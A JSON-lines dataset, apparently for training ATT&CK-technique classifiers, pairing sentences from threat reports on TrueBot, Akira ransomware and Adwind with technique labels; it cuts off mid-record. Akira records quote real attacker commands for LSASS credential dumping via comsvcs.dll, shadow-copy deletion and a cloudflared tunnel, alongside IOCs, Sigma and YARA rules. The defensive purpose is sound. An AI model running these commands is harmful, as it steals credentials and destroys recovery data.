e8c342845a02608ecd1cca8ad409895bf530f6c2830b8af8b70a3d90e8b8d3da Document_26_apr_2443807.exe fe746402c74ac329231ae1b5dffa8229b509f4c15a0f5085617f14f0c1579040 172.64.155[.]188 104.18.32[.]68 3ujwy2rz7v.exe Summary TrueBot can be a particularly nasty infection for any network.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "When an organization is infected with this malware, it can quickly escalate to become a bigger infection, similar to how ransomware spreads throughout a network.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Carbon Black is able to quickly detect TrueBot and its associated activity and, with the help of MDR, be able to detect and contain it early in the attack chain before the threat escalates.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "On April 6, 2023, the Sophos Incident Response team was engaged to support a ransomware victim organization in North America.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The following week on April 12, 2023, yet another North American organization contacted Sophos for assistance.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "While the incidents appeared to be the work of two different criminal actors, both deployed a recently emerged ransomware called Akira.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "In both cases, the affected organizations had files encrypted with the “.akira” extensions and had nearly identical ransom note files, named fn.txt, dropped in the process (as shown below in Figure 1]. Figure 1: “fn.txt” ransomware notice This Akira ransomware bears no code similarity to a previous ransomware strain with the same name that was active in 2017 and is likely unrelated.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The new jQuery-based leak site (Figure 2), with its retro green colors, has garnered most of the attention, as it accepts commands instead of listing out information.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "However, cool as their leak site design may be, this matters none to victims of this ransomware, which regrettably includes a daycare service in Canada.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "While the total number of victim organizations (Figure 3) are still relatively small in comparison to Lockbit or BlackCat/APLHV, that is how all new ransomware families begin.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Figure 3: Timeline analysis of Akira victims In this blog post, we will compare two separate incident attack flows, illustrating how different threat actors are deploying Akira ransomware.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Please note that available data on the second incident is limited, but we are highlighting deviations between the two incidents.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "This information will provide organizations with detailed guidance on what they need to defend against to protect their businesses.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Attack Flow Details Initial Access Incident #1 A user account purposedly configured to allow for Multi-Factor Authentication (MFA) bypass.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1078 – Valid Accounts]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1133 – External Remote Service] External IP access from the threat actor was routed through European TOR VPN exit nodes.", "labels": ["T1090"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Incident #2 VPN access using Single Factor authentication.", "labels": ["T1078"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1133 – External Remote Service] Guidance Replacing password-only authentication with MFA remains one of the highest return-on-investment (ROI) security controls, however special attention must be given to auditing for any accounts with bypass exceptions.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Also, its recommended that organizations block any inbound traffic from TOR networks where perimeter controls are available.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Credential Access Incident #1 Minidump of LSASS process memory leveraging comsvcs.dll with proxy execution by rundll32.exe.", "labels": ["T1003.001", "T1218.011"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1003.001 – OS Credential Dumping:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "LSASS Memory]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1569 – System Services] Service Name: TcwvBcuf Action: %COMSPEC% /Q /c", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "/c for /f \"\"tokens=1,2 delims= \"\" ^%A in ('\"\"tasklist /fi \"\"Imagename eq lsass.exe\"\" | find \"\"lsass\"\"\"\"') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24 ^%B \\Windows\\Temp\\FP4.docx full\" The use of a .docx extension is not as common as .dmp or .txt", "labels": ["T1218.011"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The service name is a random eight characters and different strings were observed across different systems.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Credential access activity also occurred over the network, as this Sophos endpoint detection indicates: ‘Creds_4h (T1003.002)’ malicious behaviour detected in ‘C:\\Windows\\System32\\svchost.exe’ Incident #2 While execution details are limited, multiple systems had the file C:\\Windows\\MEMORY.DMP created prior to ransomware execution correlating with Windows event log data.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1569 – System Services] [4656 / 0x1230] Source Name: Microsoft-Windows-Security-Auditing Strings:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "['S-1-5-18’ ‘$' ' Redacted>' '0x00000000000003e7' 'Security' 'Process' '\\Device\\HarddiskVolume3\\Windows\\System32\\lsass.exe' '0x0000000000000524' '{00000000-0000-0000-0000-000000000000}' '%%", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "4490 %%4492 ' '-' '0x00001400' '-' '0' '0x0000000000001318' 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' '-'] Guidance Dumping process memory to obtain credentials is a pervasive technique observed in most ransomware incidents.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Aside from ensuring full coverage of your endpoint agent, special care should be taken to segment domain admin accounts from workstation admin accounts to reduce the impact of credential dumping when it does occur.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "This is also a great candidate for a repeatable hunt, using a structured method to look for variations in the pre- and post-dumping activity that may have bypassed your existing detections.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Listed below is a Sigma rule that can be used by defenders to detect or hunt on the credential access technique used above.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Using the Minidump function of comsvcs.dll description: The minidump function of comsvcs.dll can be used to dump lsass.exe.", "labels": ["T1003.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The function requires the PID of lsass.exe.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "In addition, the Minidump function can be called using #24 rather than its name.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "author: Sophos MDR logsource: category: process_creation product: windows detection: selection: process_name|wildcard: - sc.exe - cmd.exe - powershell.exe command_line_filter: command_line|re: .*comsvcs.*(minidump|#24).", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "* condition: selection AND command_line_filter falsepositives: - Penetration testing level: high tags: - attack.credential access #TA0006 - attack.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "T1003.001 Discovery Incident #1 Conducting discovery indirectly via schedule tasks named “Windows Update” performing remote directory listings.", "labels": ["T1053.005", "T1083"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1083 – File and Directory Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1053.005 – Scheduled Task/Job: Scheduled Task] C:\\>type c:\\programdata\\HP\\ms.bat dir \"\"\\\\10.1.100.64\\c$\\ProgramData\"\" >> C:\\programdata\\HP\\svr_dir.txtt\" Leveraging a dual-use tool, PCHunter64, to acquire detailed process and system information.", "labels": ["T1082"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1082 – System Information Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1105 – Ingress Tool Transfer] URL: :2023040620230407:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "administrator@https://www.google[.]com/url?esrc=s&q=&rct=j&sa=U&url=https://m.majorgeeks[.]com/files/details/pc_hunter.html Access count: 1 URL: Visited: administrator@hXXps://temp[.]sh/PewtN/PCHunter64.exe Access count: 9 The threat actor initially searched online for the tool before staging it for future downloads using a public cloud hosting service.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Incident #2 Utilization of a dual-use tool, Advanced IP Scanner, to discover other systems and networks.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1018 – Remote System Discovery] Prefetch [ADVANCED_IP_SCANNER_2.5.4594.] was executed - run count 2 hash:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "0xC2980947 volume: 1", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[serial number: 0x22E2CC6E device path: \\VOLUME{01d89216e27acb2f-22e2cc6e}] Employing an existing IT tool, LANSweeper, to access detailed network and system information.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1018 - Remote System Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1087 - Account Discovery: Domain Account] Visited: @file:///C:/ProgramData/AdComputers.csv Visited: @file:///C:/ProgramData/AdSubnets.csv Visited: @file:///C:/ProgramData/AdOUs.csv Visited: @file:///C:/ProgramData/AdUsers.csv URL F[:]/IT/Backups/Database/LANSweeper%20SQL+Key/Encryption.txt The threat actor accessed the decryption key to facilitate gaining reconnaissance information without doing any noisy discovery scanning.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Guidance Understanding the intention of a dual-use tool being executed is challenging; however, it’s best practice to document which tools are approved for corporate use and block all others by default until they can be reviewed.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "This has the added benefit of reducing shadow IT risk as well.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Additionally, just like high value business data, access to both the tool and the output of vulnerability scanners and asset discovery applications should be restricted and audited.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "We have also included an example Sigma detection rule for the activity shown in incident #1. title: Listing Directories of Remote Hosts description: Threat actors can use windows binaries and commands to discover interesting to them directories on remote hosts and redirect the output to a file on disc for later consumption.", "labels": ["T1059.003", "T1083"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "author: Sophos MDR logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'cmd.exe' - 'powershell.exe' CommandLine|contains: - 'dir *\\\\*\\c$\\*>>' - 'ls *\\\\*\\c$\\*>>' filter:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "ParentImage|endswith: - 'java.exe' condition: selection and not filter falsepositives: - Possible from admin activity level: high tags: - attack.discovery #TA0007 - attack.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "T1083 Lateral Movement Incident #1 There were no network restrictions on Remote Desktop Protocol (RDP), and the threat actor was able to move freely across the network; as a result, this activity was captured by multiple event types.", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Event ID [1149] - RDP connection established Event ID", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[1149] RDP from from IP: Event ID: 25 - Remote Desktop Services: Session reconnection succeeded Event ID: 24 - Remote Desktop Services: Session has been disconnected Event ID", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[4624] RDP Type \"3\" from IP: - Device: ", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\\]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Username hint: \" 131 0 4 4 15 0x4000000000000000 633 Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational TCP :56736 \" Incident #2 Similar to Incident #1, the threat actor was able to RDP unencumbered across the organization’s infrastructure.", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Guidance Securing RDP access can be difficult for many companies, but it is a project worthy of investment.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The first item to check off the box is to restrict by role, which accounts can access other systems using RDP.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The overwhelming majority of users do not need this access.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Secondly, adopting a centralized jump server, which only admins can access with MFA and blocking at the network level other system to system RDP is a strong preventative control.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Lastly, a detection should be in place to promptly review anomalous RDP connections to deconflict them with approved system administration activity.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Defense Evasion Incident #1 The threat actor executed two actions to bypass Windows Defender [T1562.001 – Impair Defenses: Disable or Modify Tools] 5001 - Real-time Protection was disabled New Value\">HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\C:\\ Guidance The first line of defense available to organizations is to use a security agent that has robust tamper protection.", "labels": ["T1562.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "In terms of monitoring for this activity, these are detection-ready event sources.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "While its possible a system administrator would make such exceptions during troubleshooting, given the risk of this activity, it’s something that should be investigated promptly if a corresponding support ticket isn’t found.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Command and Control Incident #1 During this incident, the threat actor leveraged one of the most popular dual-use agents, AnyDesk, to provide persistent remote access into the affected organization on multiple systems.", "labels": ["T1219"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1219 – Remote Access Software] UserAssist entry: 86 Value name: C:\\Users\\administrator. \\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\14J9H2AA\\AnyDesk.exe Count: 1 Event ID [7045] \"Service Name: Anydesk\" \"C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe\"\" --service\" Prefetch", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[ANYDESK.EXE] was executed - run count 9 path: \\PROGRAM FILES (X86)\\ANYDESK\\ANYDESK.EXE hash: 0x389EE9E9 volume:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "1 [serial number: 0x7077BC2C device path: \\VOLUME{01cf89bc76f2a351-7077bc2c}] Incident #2 The threat actor almost immediately installed Cloudflare’s freely available tunnelling software here, C:/ProgramData/windows_update.exe, followed by the download and execution of another dual-use agent, Radmin [T1572 – Protocol Tunneling ]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1219 – Remote Access Software] C:\\programdata\\windows_update.exe tunnel run --token eyJhIjoiODllZDkxZjgyNWE3ZGM3NGY4ZmRlMTc2MWY3ZDcwMWMiLCJ0IjoiMTUwMGIxMGEtZjM3My00ZmJlLTk 4ZTYtODgwMDMxYzE1M2VkIiwicyI6IlpURmtZV0V6TUdFdFpETXlOeTAwT0dRNUxUazNaakF0T1RsbVpESmxabU0yWVRWaCJ9 hxxps://download[.]radmin[.]com/download/files/Radmin_3.5.2.1_EN[.]zip (Radmin_3.5.2.1_EN.zip)", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "A feature of Advanced IP Scanner is integration with Radmin to provide remote access to scanned systems Guidance Just as with the discovery activity, threat actor usage of dual-use agents is both commonplace and important to disrupt.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "All non-approved remote access solutions should be blocked by default by an application control capability.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Aside from allowing command and control (C2) and data exfiltration opportunities for an attacker, there is also a latent risk of the software itself having vulnerabilities and being unpatched because it’s not being managed by IT.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Collection Incident #2 A confirmed compromised account was used to download the WinRar archiving software and several files were staged for possible, but unconfirmed exfiltration [T1560.001 – Archive Collected Data: Archive via Utility] URL Visited: hxxps://notifier.rarlab[.]com/?language=English&source=RARLAB&landingpage=first&version=621&architecture=64 Userassist 2023-03-15T10:15:55Z C:\\Users\\\\Downloads\\winrar.exe Userassist 2023-03-15T11:04:42Z C:\\ProgramData\\winrar.exe URL Visited: E:/Dept.rar URL Visited: E:/Channel.rar Guidance Often by the time a threat actor is staging data, it’s too late to have a good security outcome.", "labels": ["T1074.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "A good approach to prevent theft of data is to adopt least privilege access, which means ensuring only the required people have access, followed by granular controls on exporting, sharing, or moving the files.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "DLP solutions, while having a history of being difficult to implement and maintain, are worth evaluating for high-risk data.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Impact Incident #1 C:\\ProgramData\\Update.bat file executed the ransomware binary dllhost32.exe, which is detected as Troj/Ransom-GWA by Sophos (Figure 4)", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T11486 – Data Encrypted for Impact]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1490 – Inhibit System Recovery] dllhost32.exe -n=10 -s", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "=C:\\ESD\\sharez.txt dllhost32.exe -n=1 -s", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "=C:\\program files\\sharez.txt powershell.exe -Command \"Get-WmiObject Win32_Shadowcopy", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "| Remove-WmiObject\" –n option is for encryption percentage, the attacker used different settings during the incident -s option is for –share_file, there is a –p option for –encryption_path Removing the shadow copies prevents recovery using native Window’s features and Sophos detects this as Impact_6a.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Creates the C:\\fn.txt or C:\\etc\\fn.txt ransom note when complete Dwell time of 7 days before executing ransomware On endpoints protected with Sophos the following detections triggered: CryptoGuard detected ransomware in C:\\ProgramData\\dllhost32.exe 'Cleanup_1a (T1486)' malicious behavior detected in 'C:\\ProgramData\\dllhost32.exe' Incident #2 Ransomware binary C:\\ProgramData\\hpupdate.exe is executed and detected as Troj/Ransom-GWG by Sophos [T11486 – Data Encrypted for Impact]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1490 – Inhibit System Recovery] Creates the C:\\fn.txt ransom note when complete Dwell time of 30+ days before executing ransomware As previously reported by Bleeping Computer, Akira targets 26 specific file extensions for encryption.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "These extensions are predominantly related to databases, but also include targeting of virtual memory and disk images.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Notably, it it does not target PDFs or typical Microsoft Office file types: .abcddb .accdb .accde .accdc .accdt .accdr .accdw .accft .dacpac .daschema .dadiagram .db-shm .db-wal .fmpsl .fmp12 .kexic .kexis .nrmlib .sas7bdat .sqlite .sqlitedb .sqlite3 .xmlff .nvram .subvol .qcow2 SophosLabs researchers have also confirmed which file extensions are avoided by Akira in order to not impact system stability.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Figure 5: File types excluded by AkiraTakeaway:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "As mentioned earlier, at this late stage in the attack, having full coverage on all systems with a properly configured XDR solution is vital to protect organizations from ransomware.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "In the case of Sophos, it’s critical for customers to have their CryptoGuard policy activated, which is something support can guide customers on.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "We have also provided the YARA rule below, which can be used to identify Akira ransomware binaries.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "rule ecrime_AKIRA_strings { meta: id = \"8c59c35d-8fb8-4644-9fa4-ce05b30e91c3\" version = \"1.0\" author = \"Paul Jaramillo\" intrusion_set = \"AKIRA\" description = \"Detects common strings\" source = \"PE binaries\" creation_date = \"2023-05-03\" modification_date = \"2023-05-09\" classification = \"TLP:CLEAR\" strings: $s1 = \".akira\" ascii nocase $s2 = \"akira_readme.txt\" ascii nocase $s3 = \".onion\" ascii nocase $s4 = /\\\\akira\\\\asio\\\\include\\\\asio\\\\impl\\\\co_spawn\\.hpp/ $s5 = /MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAylJbjtFvzHapC/ condition: (filesize>250KB and filesize<1MB) and uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "== 0x4550 and (($s1 and $s2 and $s3) or $s4 or $s5) } Please be aware that threat actors will continue to modify the code, which was evident when we uncovered the following new file name being used “readme-asldkas.txt”.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Conclusion Sophos MDR is sharing this information with the specific goal of aiding defenders in the seemingly never-ending battle with ransomware threat groups.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Through each of the covered steps in the attack flow, specific guidance is provided to drive actions with context.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Aside from the differences in C2 tools used (AnyDesk vs Cloudflared), one of the key points to highlight is the dwell time.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Incident #1 had a dwell time of 7 days compared to incident #2 with over 30 days of dwell time.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Both of these events demonstrate a slower operational tempo, which bodes well for defenders having opportunities to disrupt in-flight compromises.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "The time from initial access to ransomware impact is indicative of the complex e-crime ecosystem, where there are distributors, initial access brokers, malware developers, and ransomware affiliates working together from resource development to payment.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Unfortunately, there are some edge cases where organizations have had their files encrypted within just 24 hours, and that type of threat really does require an experienced, global partner, such as Sophos, to augment your security program.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Acknowledgements Sophos would like to acknowledge the contributions of Melisa Kelly, Jason Jenkins, Anand Ajjan, Steeve Gaudreault, Kostas Tsialemis, and Sean Gallagher this report.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Adwind Trojan Circumvents Antivirus Software To Infect Your PC url: https://www.anomali.com/blog/wtb-adwind-trojan-circumvents-antivirus-software-to-infect-your-pc", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The intelligence in this week’s iteration discuss the following threats: Credit card theft, DDoS, Phishing, Ransomware, Trojan, Vulnerabilities, and Web cache poisoning.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Trending Threats Adwind Trojan Circumvents Antivirus Software To Infect Your PC (September 24, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Unknown threat actors have been observed conducting a spear phishing campaign that targets various industries such as finance, manufacturing, shipping, telecoms, and others targeted upon machines in Germany and Turkey in an effort to infect the targets with a Remote Access Trojan (RAT), “Adwind.”", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "MacOS, Windows and Linux operating systems are all vulnerable to this particular jRAT.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This specific malware is observed to log keystrokes, steal credentials, tamper with system files as all RATs do, but also steals cryptographic keys to access cryptocurrency wallets on infected systems.", "labels": ["T1056.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This jRAT is spread via spear phishing emails that contain a .csv or .xlt file attachment with a so-called Dynamic Data Exchange (DDE) code injection that intends to compromise Microsoft Excel and circumvent signature-based antivirus protections.", "labels": ["T1566.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The threat actor behind the attack modified the RAT to have a low-detection rate.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Dynamic Data Exchange (T1173) |", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Obfuscated Files or Information (T1027) |", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Spearphishing Attachment (T1193)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "AdGuard Reset User Passwords After Enduring Credential Stuffing Attacks (September 24, 2018) Ad-blocking software company AdGuard reported that they had recently suffered a cyber-attack in the form of credential stuffing, and issued a password reset to all users for all accounts.", "labels": ["T1110"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "They noticed repeated login attempts from suspicious IP addresses belonging to a variety of servers world-wide, using login credentials from what the company suspects are past data breaches from other companies.", "labels": ["T1110"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "As of this writing, the unknown threat actors are believed to have been able to gain access to a handful accounts that had the same password for multiple accounts on other sites.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "AdGuard issued a total account-wide password reset, but states that no internal servers or data were compromised.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Brute Force (T1110) Off-Path TCP Exploit Allows Attackers To Steal Data Via Unencrypted Connections (September 21, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Associate Professor Zhiyun Qian and doctoral student Weiteng Chen from the University of California discovered a vulnerability in unencrypted Wi-Fi routers that makes them susceptible to a TCP exploit.", "labels": ["T1210"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The exploit can be employed when threat actors intercept the communication between the router and a user’s machine, and send a malicious payload that appears legitimate to poison the web cache.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This allows the threat actor to inject a malicious copy of a web page (typically a login or checkout page one is visiting) so that every time that page is visited, it is the compromised version.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This has the potential to give the actor access to the information and credentials entered in those sites.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability is in all operating systems (macOS, Windows, and Linux), and have yet to see a patch.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Domain Fronting (T1172) ZDI-CAN-6135: A Remote Code Execution Vulnerability In The Microsoft Windows JET Database Engine (September 20, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A bug has been identified in Microsoft JET Database Engine that could allow remote execution.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This bug is an out-of-bounds write (when software writes data past the end, or before the beginning of the intended buffer, hence “out-of-bounds”) that can be triggered through opening a Jet data source via OLEDB.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A threat actor could take advantage of this vulnerability by creating a specific file that contains data that is stored in the JET database format, and having the targeted user open it, which would then allow for remote code execution at the level of the current process.", "labels": ["T1210"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "At the time of the article’s publication, a patch has yet to be released.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Spearphishing Attachment (T1193) Crippling DDoS Vulnerability Put The Entire Bitcoin Market At Risk (September 20, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A Distributed-Denial-of-Service (DDoS) vulnerability was discovered to affect Bitcoin Core versions 0.14.0 up to 0.16.2 that could bring down the entire Bitcoin blockchain by flooding full node operators with traffic.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The vulnerability originates in the consensus code and allowed for Bitcoin miners to have the option of sending transaction data twice.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This would cause the Bitcoin network to crash whilst it attempted to validate the duplicate transaction.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This type of DDoS attack, however, would require the threat actor to basically throw away 12.5 BTC ($80,000 USD) to actually cause any damage to the network, so it is unlikely it will be exploited.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "However, it does still exemplify a significant vulnerability to the Bitcoin network.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Bitcoin software developers have issued a patch for anyone running nodes.", "labels": [], "doc_title": "WTB Adwind Trojan 